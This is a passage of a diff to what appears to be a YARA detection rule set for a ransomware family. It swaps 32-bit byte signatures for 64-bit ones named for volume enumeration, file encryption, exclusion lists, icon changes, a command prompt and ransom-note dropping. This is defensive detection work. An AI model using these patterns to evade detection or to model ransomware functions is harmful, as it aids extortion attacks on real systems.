-            ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6
-            85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24
-            ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6
-            85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? 68 ?? ?? ??
-            ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? F6 44 24 ?? ?? 8D 44 24 ?? 50 53 8D 84 24 ?? ??
-            ?? ?? 50 74 ?? FF D7 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? EB ?? FF D7 8D 44 24 ??
-            50 FF 15 ?? ?? ?? ?? 8B D0 8D 7A
+		$find_system_volumes_v1_p1 = {
+            48 89 4C 24 ?? 55 53 56 57 41 56 41 57 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ??
+            48 8B F1 45 33 FF 44 89 7C 24 ?? 4C 89 39 4C 89 79 ?? 4C 89 79 ?? C7 44 24 ?? ?? ??
+            ?? ?? BA ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 4C 8B F0 0F 1F 00 4C 8D 8D ??
+            ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85
+            C0 0F 84 ?? ?? ?? ?? 44 89 7C 24 ?? 4C 89 7C 24 ?? 48 8D 85 ?? ?? ?? ?? 48 89 44 24
+            ?? 4C 89 7C 24 ?? 45 33 C9 45 33 C0 33 D2 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85
+            C0 0F 84 ?? ?? ?? ?? F7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8D 8D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 48 8D 14 00 48 8D BD ?? ?? ?? ?? 48 03 FA 4C 89 7C 24 ?? 4C 89
+            7C 24 ?? 4C 89 7C 24 ?? 4C 89 7C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? 48
+            8D 9D ?? ?? ?? ?? 48 D1 FA 48 83 FA ?? 72 ?? 45 33 C0 48 8D 4C 24 ?? E8
         }
-		$search_files_3 = {
-            66 8B 0A 83 C2 ?? 66 85 C9 75 ?? 2B D7 D1 FA 83 FA ?? 75 ?? 66 83 78 ?? ?? 74 ?? 8D
-            8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15
-            ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B 8B
-            E5 5D C2
+		$find_system_volumes_v1_p2 = {
+            4C 89 7C 24 ?? 48 8D 44 24 ?? 48 89 85 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 3B C7 74
+            ?? 66 66 66 0F 1F 84 00 ?? ?? 00 00 44 0F B6 0B 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 3B
+            CA 73 ?? 48 8D 41 ?? 48 89 44 24 ?? 48 8D 44 24 ?? 48 83 FA ?? 48 0F 43 44 24 ?? 44
+            88 0C 08 C6 44 08 ?? ?? EB ?? 45 33 C0 41 8D 50 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48
+            83 C3 ?? 48 3B DF 75 ?? 4C 89 BD ?? ?? ?? ?? 48 8B 46 ?? 48 3B 46 ?? 74 ?? 4C 89 38
+            4C 89 78 ?? 4C 89 78 ?? 41 B8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B C8 E8 ?? ?? ?? ?? 4C
+            89 7C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? C6 44 24 ?? ?? 48 83 46 ?? ?? EB ?? 4C 8D 44
+            24 ?? 48 8B D0 48 8B CE E8 ?? ?? ?? ?? 90 48 8B 54 24 ?? 48 83 FA ?? 72 ?? 48 FF C2
+            48 8B 4C 24 ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1
+            48 83 C0 ?? 48 83 F8 ?? 77 ?? E8 ?? ?? ?? ?? 4C 89 7C 24 ?? 48 C7 44 24 ?? ?? ?? ??
+            ?? C6 44 24 ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 54 24 ?? 49 8B CE FF 15 ?? ?? ?? ?? 85 C0
+            0F 85 ?? ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? 48 8B C6 48 81 C4
         }
-		$search_files_4 = {
-            68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24
-            ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6
-            85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24
-            ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ??
-            ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6
-            85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24
-            ?? 50 FF D6 85 C0 74 ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D6 85 C0 74 ?? F6 44 24 ??
-            ?? 8D 44 24 ?? 50 53 8D 84 24 ?? ?? ?? ?? 50 74 ?? FF D7 8D 84 24 ?? ?? ?? ?? 50 E8
-            ?? ?? ?? ?? EB ?? FF D7 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 8B D0 8D 7A ?? 66 8B 0A 83
-            C2 ?? 66 85 C9 75 ?? 2B D7 D1 FA 83 FA ?? 75 ?? 66 83 78 ?? ?? 74 ?? 8D 8C 24 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ??
-            85 C0 0F 85 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 5F 5E 33 C0 5B 8B E5 5D C2
+		$set_default_icon_p1 = {
+            48 89 5C 24 ?? 48 89 4C 24 ?? 55 56 57 41 54 41 55 41 56 41 57 48 81 EC ?? ?? ?? ??
+            48 8B F1 45 33 ED 44 89 6C 24 ?? 4C 8B 35 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 4C 8B F8 48 B8 ?? ?? ?? ?? ?? ?? ?? ?? 48 8B C8 49 2B CE 49 3B CF 0F 82 ?? ??
+            ?? ?? 4C 8D 25 ?? ?? ?? ?? 48 83 3D ?? ?? ?? ?? ?? 4C 0F 43 25 ?? ?? ?? ?? 4C 89 6C
+            24 ?? 4C 89 6C 24 ?? 4C 89 6C 24 ?? 4B 8D 2C 37 BB ?? ?? ?? ?? 48 8D 7C 24 ?? 48 3B
+            EB 0F 86 ?? ?? ?? ?? 48 8B DD 48 83 CB ?? 48 3B D8 76 ?? 48 8B D8 48 B8 ?? ?? ?? ??
+            ?? ?? ?? ?? 48 8D 0C 00 EB ?? B8 ?? ?? ?? ?? 48 3B D8 48 0F 42 D8 48 8D 4B ?? 48 B8
+            ?? ?? ?? ?? ?? ?? ?? ?? 48 3B C8 0F 87 ?? ?? ?? ?? 48 03 C9 48 81 F9 ?? ?? ?? ?? 72
+            ?? 48 8D 41 ?? 48 3B C1 0F 86 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 85 C0 0F 84 ??
+            ?? ?? ?? 48 8D 78 ?? 48 83 E7 ?? 48 89 47 ?? EB ?? 48 85 C9 74 ?? E8 ?? ?? ?? ?? 48
+            8B F8 EB ?? 49 8B FD 48 89 7C 24 ?? 48 89 6C 24 ?? 48 89 5C 24 ?? 4B 8D 1C 36 4C 8B
         }
-		$encrypt_files_1 = {
-            BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 6A ?? FF D6 0F 10 05 ?? ?? ?? ?? 8B F8 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 50 0F 11 07 89 3D ?? ?? ?? ?? 0F 10 05 ?? ?? ?? ?? 0F 11 47 ?? 0F 10 05 ??
-            ?? ?? ?? 0F 11 47 ?? E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ?? ?? ?? ?? 8D 45 ?? C7 45 ??
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 50 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 8D
-            85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 FF E9 ?? ?? ?? ?? 8D 45 ?? 50 8D
-            45 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ??
-            ?? ?? 85 C0 75 ?? 33 FF E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 45 ?? 50
-            FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 FF E9 ?? ?? ?? ?? 8D 45 ?? 50 FF 75 ?? 6A ?? FF 75
-            ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 FF EB ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B CF 8D 51
+		$set_default_icon_p2 = {
+            C3 49 8B D4 48 8B CF E8 ?? ?? ?? ?? 48 8D 0C 3B 4F 8D 04 3F 48 8D 15 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 66 44 89 2C 6F BB ?? ?? ?? ?? 89 5C 24 ?? 48 8D 54 24 ?? 48 83 7C 24 ??
+            ?? 48 0F 43 54 24 ?? 48 8D 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 84 24 ?? ?? ?? ??
+            48 89 44 24 ?? 4C 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 44 89 6C 24 ?? 45 33 C9 45 33
+            C0 48 C7 C1 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 48 8B CE 48 83 7E ?? ?? 72 ??
+            48 8B 0E 8B 46 ?? 03 C0 89 44 24 ?? 48 89 4C 24 ?? 44 8B CB 45 33 C0 48 8D 15 ?? ??
+            ?? ?? 48 8B 8C 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 45 33 C9 45 33 C0 33 D2 B9 ?? ?? ??
+            ?? FF 15 ?? ?? ?? ?? 45 33 C9 45 33 C0 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? EB ?? 4C 89 6C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 48 89 4C 24
+            ?? 45 33 C9 44 8B C0 33 D2 B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 E3 ?? 89 5C 24 ?? 48
+            8B 54 24 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B C1 48 81
+            FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 77 ??
+            E8 ?? ?? ?? ?? 4C 89 6C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 66 44 89 6C 24 ?? 48 8B CE
+            E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5E 41 5D 41 5C
+            5F 5E 5D C3
         }
-		$encrypt_files_2 = {
-            8A 01 41 84 C0 75 ?? 2B CA 8D 45 ?? 51 50 6A ?? 6A ?? 6A ?? 6A ?? FF 75 ?? 89 4D ??
-            89 4D ?? FF D3 85 C0 75 ?? 33 FF EB ?? FF 75 ?? FF D6 FF 75 ?? 8B F0 6A ?? 56 E8 ??
-            ?? ?? ?? FF 75 ?? 57 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? FF 75 ?? 50 56 6A ?? 6A ??
-            6A ?? FF 75 ?? FF D3 8B F8 F7 DF 1B FF 23 FE 8B 35 ?? ?? ?? ?? 8B D7 8D 4A ?? 66 90
-            8A 02 42 84 C0 75 ?? 2B D1 8B CF E8 ?? ?? ?? ?? A3 ?? ?? ?? ?? 8D 50 ?? 8A 08 40 84
-            C9 75 ?? 2B C2 57 A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 C4 ?? 81 3D ?? ?? ?? ?? ?? ??
-            ?? ?? 0F 82 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3
+		$cmd_prompt = {
+            48 89 5C 24 ?? 48 89 7C 24 ?? 55 48 8B EC 48 83 EC ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4
+            48 89 45 ?? 48 8B D9 4C 8D 05 ?? ?? ?? ?? 33 FF 48 8D 4D ?? 33 D2 48 89 7D ?? E8 ??
+            ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 85 DB 75 ?? 48 8B 4D ?? 48 85 C9 0F 84 ?? ??
+            ?? ?? 33 D2 E8 ?? ?? ?? ?? 48 8B 4D ?? 8B D8 E8 ?? ?? ?? ?? 85 DB 40 0F 94 C7 E9 ??
+            ?? ?? ?? 48 8B 45 ?? 48 8D 0D ?? ?? ?? ?? 48 89 45 ?? 48 89 4D ?? 48 89 5D ?? 48 89
+            7D ?? 48 85 C0 74 ?? E8 ?? ?? ?? ?? 8B 18 E8 ?? ?? ?? ?? 45 33 C9 4C 8D 45 ?? 33 C9
+            89 38 48 8B 55 ?? E8 ?? ?? ?? ?? 48 8B F8 83 F8 ?? 74 ?? E8 ?? ?? ?? ?? 89 18 EB ??
+            E8 ?? ?? ?? ?? 83 38 ?? 74 ?? E8 ?? ?? ?? ?? 83 38 ?? 74 ?? 48 8B 4D ?? E8 ?? ?? ??
+            ?? 83 CF ?? EB ?? E8 ?? ?? ?? ?? 89 18 48 8D 15 ?? ?? ?? ?? 45 33 C9 4C 8D 45 ?? 48
+            89 55 ?? 33 C9 E8 ?? ?? ?? ?? 48 8B F8 48 8B 4D ?? E8 ?? ?? ?? ?? 8B C7 48 8B 4D ??
+            48 33 CC E8 ?? ?? ?? ?? 4C 8D 5C 24 ?? 49 8B 5B ?? 49 8B 7B ?? 49 8B E3 5D C3
         }
-		$encrypt_files_3 = {
-            55 8B EC 83 EC ?? 57 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B C1 68 ?? ?? ?? ?? 50
-            89 45 ?? FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 75 ?? 0B C0 5F 8B E5 5D C3 53 6A ?? 57 FF
-            15 ?? ?? ?? ?? 8B D8 83 FB ?? 75 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? 8B D8 56 B8 ?? ??
-            ?? ?? 6A ?? 3B D8 0F 47 D8 53 6A ?? 6A ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 8B F0 83 FE ??
-            75 ?? 5E 5B 0B C0 5F 8B E5 5D C3 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 56 8B
-            35 ?? ?? ?? ?? 89 45 ?? FF D6 57 FF D6 E8 ?? ?? ?? ?? 0F 10 05 ?? ?? ?? ?? 0F 11 05
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B F8 BE ?? ?? ?? ?? 0F 10 05 ?? ?? ?? ?? 0F 11
-            05 ?? ?? ?? ?? 85 DB 74
+		$exclude_from_encryption = {
+            66 89 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D
+            4D ?? E8 ?? ?? ?? ?? 90 45 33 C0 48 8D 55 ?? 48 8B CB E8 ?? ?? ?? ?? 48 8B F8 48 8B
+            55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4D ?? 48 8B C1 48 81 FA ?? ??
+            ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? 66 89 75 ?? 48 83 FF ?? 0F 85
+            ?? ?? ?? ?? 48 89 75 ?? 48 89 75 ?? 48 89 75 ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ??
+            66 89 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D
+            4D ?? E8 ?? ?? ?? ?? 90 45 33 C0 48 8D 55 ?? 48 8B CB E8 ?? ?? ?? ?? 48 8B F8 48 8B
+            55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4D ?? 48 8B C1 48 81 FA ?? ??
+            ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? 66 89 75 ?? 48 83 FF ?? 0F 85
+            ?? ?? ?? ?? 48 89 75 ?? 48 89 75 ?? 48 89 75 ?? 48 89 75 ?? 48 C7 45 ?? ?? ?? ?? ??
+            66 89 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D
+            4D ?? E8 ?? ?? ?? ?? 90 45 33 C0 48 8D 55 ?? 48 8B CB E8 ?? ?? ?? ?? 48 8B F8 48 8B
+            55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4D ?? 48 8B C1 48 81 FA ?? ??
+            ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0
         }
-		$encrypt_files_4 = {
-            8A 0C 06 8D 40 ?? 30 48 ?? 83 EA ?? 75 ?? 8B CF E8 ?? ?? ?? ?? 8B F7 83 C7 ?? 83 EB
-            ?? 75 ?? 8B 45 ?? 0F 10 06 50 0F 11 05 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 83 C4 ?? 8B F2
+		$encrypt_files_v1 = {
+            41 83 CC ?? 44 89 64 24 ?? 48 8D 8C 24 ?? ?? ?? ?? 48 83 FF ?? 48 0F 43 8C 24 ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? 8B F8 41 83 E4 ?? 44 89 64 24 ?? 48 8B 94 24 ?? ?? ?? ?? 48
+            83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ??
+            ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 89 94 24 ?? ?? ?? ?? 48 8B 49
+            ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 9C 24 ??
+            ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 66 89 9C 24 ?? ?? 00 00 40 F6 C7 ?? 74
+            ?? 49 8B CF E8 ?? ?? ?? ?? 90 48 BE ?? ?? ?? ?? ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? 4C
+            8D 35 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? E9 ?? ?? ?? ?? 49 8B CF E8 ?? ?? ?? ?? C6 84
+            24 ?? ?? ?? ?? ?? 48 8D 94 24 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B F0 48
+            89 9C 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 4C 8B 70 ?? 48
+            83 78 ?? ?? 72 ?? 48 8B 30 48 8D 8C 24 ?? ?? ?? ?? 49 83 FE ?? 73 ?? 41 B8 ?? ?? ??
+            ?? 48 8B D6 E8 ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? ?? ?? ?? ??
+            ?? EB ?? 4C 89 AC 24 ?? ?? ?? ?? 49 8B FE 48 83 CF ?? 48 89 BC 24 ?? ?? ?? ?? 49 3B
+            FD 49 0F 47 FD 48 8D 57 ?? E8 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 4E 8D 04 75 ?? ??
+            ?? ?? 48 8B D6 48 8B C8 E8 ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? 48 89 BC 24
         }
-		$encrypt_files_5 = {
-            66 8B 02 83 C2 ?? 66 85 C0 75 ?? BB ?? ?? ?? ?? 2B D6 8D 7B ?? 66 8B 47 ?? 83 C7 ??
-            66 85 C0 75 ?? 8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? 83 C3 ?? F3 A4 66 8B 43 ?? 83 C3
-            ?? 66 85 C0 75 ?? 8B FB B9 ?? ?? ?? ?? 8B 5D ?? BE ?? ?? ?? ?? 68 ?? ?? ?? ?? F3 A5
-            53 FF 15 ?? ?? ?? ?? 6A ?? 8B F0 6A ?? 56 FF 15 ?? ?? ?? ?? 56 FF 35 ?? ?? ?? ?? 6A
-            ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ??
-            53 FF 15 ?? ?? ?? ?? 5E 5B 33 C0 5F 8B E5 5D C3
+		$find_system_volumes_v2 = {
+            BA ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 0F 1F 44 00 ?? 4C 8D 8D ??
+            ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 85
+            C0 0F 84 ?? ?? ?? ?? 89 74 24 ?? 48 89 74 24 ?? 48 8D 85 ?? ?? ?? ?? 48 89 44 24 ??
+            48 89 74 24 ?? 45 33 C9 45 33 C0 33 D2 48 8D 8D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0
+            0F 84 ?? ?? ?? ?? F7 85 ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 48 8D 8D ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 4C 8D 04 00 48 8D 85 ?? ?? ?? ?? 49 03 C0 48 89 74 24 ?? 48 89 74
+            24 ?? 48 89 74 24 ?? 48 89 74 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 66 89 74 24 ?? 48 8D
+            8D ?? ?? ?? ?? 48 3B C8 74 ?? 49 D1 F8 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ??
+            ?? ?? 90 48 8B 43 ?? 48 3B 43 ?? 74 ?? 48 89 30 48 89 70 ?? 48 89 70 ?? 41 B8 ?? ??
+            ?? ?? 48 8D 54 24 ?? 48 8B C8 E8 ?? ?? ?? ?? 48 89 74 24 ?? 48 C7 44 24 ?? ?? ?? ??
+            ?? 66 89 74 24 ?? 48 83 43 ?? ?? EB ?? 4C 8D 44 24 ?? 48 8B D0 48 8B CB E8 ?? ?? ??
+            ?? 90 48 8B 54 24 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 8B
+            C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8
+            ?? 77 ?? E8 ?? ?? ?? ?? 48 89 74 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 66 89 74 24 ?? 41
+            B8 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48
+            8B CF FF 15 ?? ?? ?? ?? 48 8B C3 48 8B 9C 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5F 5E
+            5D C3
+        }
+		$drop_ransom_note = {
+            48 83 3D ?? ?? ?? ?? ?? 48 0F 43 15 ?? ?? ?? ?? 4C 8B 05 ?? ?? ?? ?? 48 8D 4D ?? E8
+            ?? ?? ?? ?? 48 8B D8 4C 89 75 ?? 4C 89 75 ?? 4C 89 75 ?? 45 8D 46 ?? 48 8B D0 48 8D
+            4D ?? E8 ?? ?? ?? ?? 4C 89 73 ?? 48 C7 43 ?? ?? ?? ?? ?? 66 44 89 33 BE ?? ?? ?? ??
+            89 75 ?? 83 E6 ?? 89 75 ?? 48 8B 55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48
+            8B 4D ?? 48 8B C1 48 81 FA ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83
+            C0 ?? 48 83 F8 ?? 0F 87 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 75 ?? 48 C7 45 ?? ?? ?? ??
+            ?? 66 44 89 75 ?? 48 8D 4D ?? 48 83 7D ?? ?? 48 0F 43 4D ?? 4C 89 74 24 ?? C7 44 24
+            ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 45 33 C9 45 33 C0 BA ?? ?? ?? ?? FF 15 ?? ??
+            ?? ?? 48 8B D8 48 83 F8 ?? 74 ?? 4C 89 74 24 ?? 45 33 C9 41 B8 ?? ?? ?? ?? 48 8D 15
+            ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? ?? ?? ?? 83 E6 ?? 89 75 ??
+            48 8B 55 ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 4D ?? 48 8B C1 48 81 FA
+            ?? ?? ?? ?? 72 ?? 48 83 C2 ?? 48 8B 49 ?? 48 2B C1 48 83 C0 ?? 48 83 F8 ?? 0F 87 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 75 ?? 48 C7 45 ?? ?? ?? ?? ?? 66 44 89 75 ?? 48 8B 57
+            ?? 48 83 FA ?? 72 ?? 48 8D 14 55 ?? ?? ?? ?? 48 8B 0F 48 81 FA ?? ?? ?? ?? 72 ?? 48
+            83 C2 ?? 4C 8B 41 ?? 49 2B C8 48 8D 41 ?? 48 83 F8 ?? 77 ?? 49 8B C8 E8 ?? ?? ?? ??
+            4C 89 77 ?? 48 C7 47 ?? ?? ?? ?? ?? 66 44 89 37 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ??
+            49 8B 73 ?? 49 8B 7B
+        }
+		$encrypt_files_v2_p1 = {
+            BA ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? 48 8D 8D ?? ?? ?? ?? E8
